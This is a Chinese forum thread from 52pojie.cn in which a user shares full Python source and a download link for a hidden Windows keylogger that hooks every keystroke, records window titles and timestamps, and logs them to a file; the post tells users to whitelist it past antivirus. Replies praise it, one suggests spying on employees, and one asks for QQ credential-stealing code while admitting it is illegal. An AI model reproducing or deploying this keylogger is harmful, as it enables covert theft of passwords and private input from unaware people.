吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 27151|回复: 87
上一主题 下一主题
收起左侧

[Python 转载] 分享一个键盘记录器

    [复制链接]
跳转到指定楼层
楼主
fj0716 发表于 2019-8-2 15:58 回帖奖励
本帖最后由 fj0716 于 2019-8-2 16:13 编辑

源码是之前网上找的,自己修改了一下。已附上源码,不放心的可以自己编译打包。
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下。
记得有杀毒软件的添加到白名单。

链接: https://pan.baidu.com/s/18K5itPsO9d2wiAAYo6YpyQ 提取码: c1b3

[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-    
from ctypes import *  
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
import time
path=os.getcwd()

user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None

# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数  
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""
    
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)  
    if event.Window != current_window:  
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr+="\n"+("-"*50)+"\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
        #print("\n-----------------")
        #print("窗口名:%s"%windowName)
        # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)  
    if event.Ascii > 32 and event.Ascii <127:
        FileStr+=chr(event.Ascii)
        #print(chr(event.Ascii),end=''
    else:
        if(event.Key=="Space"):
            FileStr+=" "
        elif(event.Key=="Return"):
            FileStr+="[回车] "
        elif(event.Key=="Back"):
            FileStr+="[删除] "
    #写入文件    
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器  
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent


#写入日期   
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n'+'#######################################'
	+'\n#'+' '*9+time.strftime('%Y-%m-%d %H:%M:%S')+' '*9+'#'
	+'\n'+'#######################################')
fp.close()
# 注册hook并执行  
kl.HookKeyboard()
pythoncom.PumpMessages()

免费评分

参与人数 13吾爱币 +13 热心值 +11 收起 理由
长歌暖浮生i + 1 谢谢@Thanks!
whisper_z + 1 我很赞同!
JohnHan + 1 谢谢@Thanks!
Geel + 1 + 1 我很赞同!
lxzhtxh13 + 1 + 1 问一下,如何退出呢?
吾爱妹子涛 + 1 + 1 谢谢@Thanks!
霜之毒 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
93ken + 1 + 1 聚聚,有没有 退出软件热键?
苏紫方璇 + 3 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
小帥 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
泳诗 + 1 我很赞同!
huzpsb + 1 hiahiahia
萌萌的 + 2 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Koribls 发表于 2019-8-5 01:47
楼主,有没有QQKey和QQ密正的源码,我知道这东西犯法,但是确实需要,大佬既然发了记录器,当然肯定会有记录QQKey和QQ密正的技术,希望大佬能研究一下发出来,感谢!
推荐
大白baymax 发表于 2021-7-25 12:32
缺少模块PyHook3,用pip也安装不成功,请问楼主咋办呢?
沙发
vixiaobai 发表于 2019-8-2 16:05
3#
ljhe 发表于 2019-8-2 16:10
谢谢分享 不错的
4#
zpycs 发表于 2019-8-2 16:10
感谢分享,下载试试。
5#
lingjin3 发表于 2019-8-2 16:29
很好用,非常感谢
6#
huyang20190313 发表于 2019-8-2 16:33
厉害了,先收藏了
7#
王美君 发表于 2019-8-2 16:36
支持了楼主,谢谢楼主
8#
yechipeng8 发表于 2019-8-2 16:38
对员工监控的好软件。。。。
9#
lyjackluck 发表于 2019-8-2 16:40
下载试下效果
10#
zhong_xj 发表于 2019-8-2 16:41
谢谢分享,下载试试
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 10:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表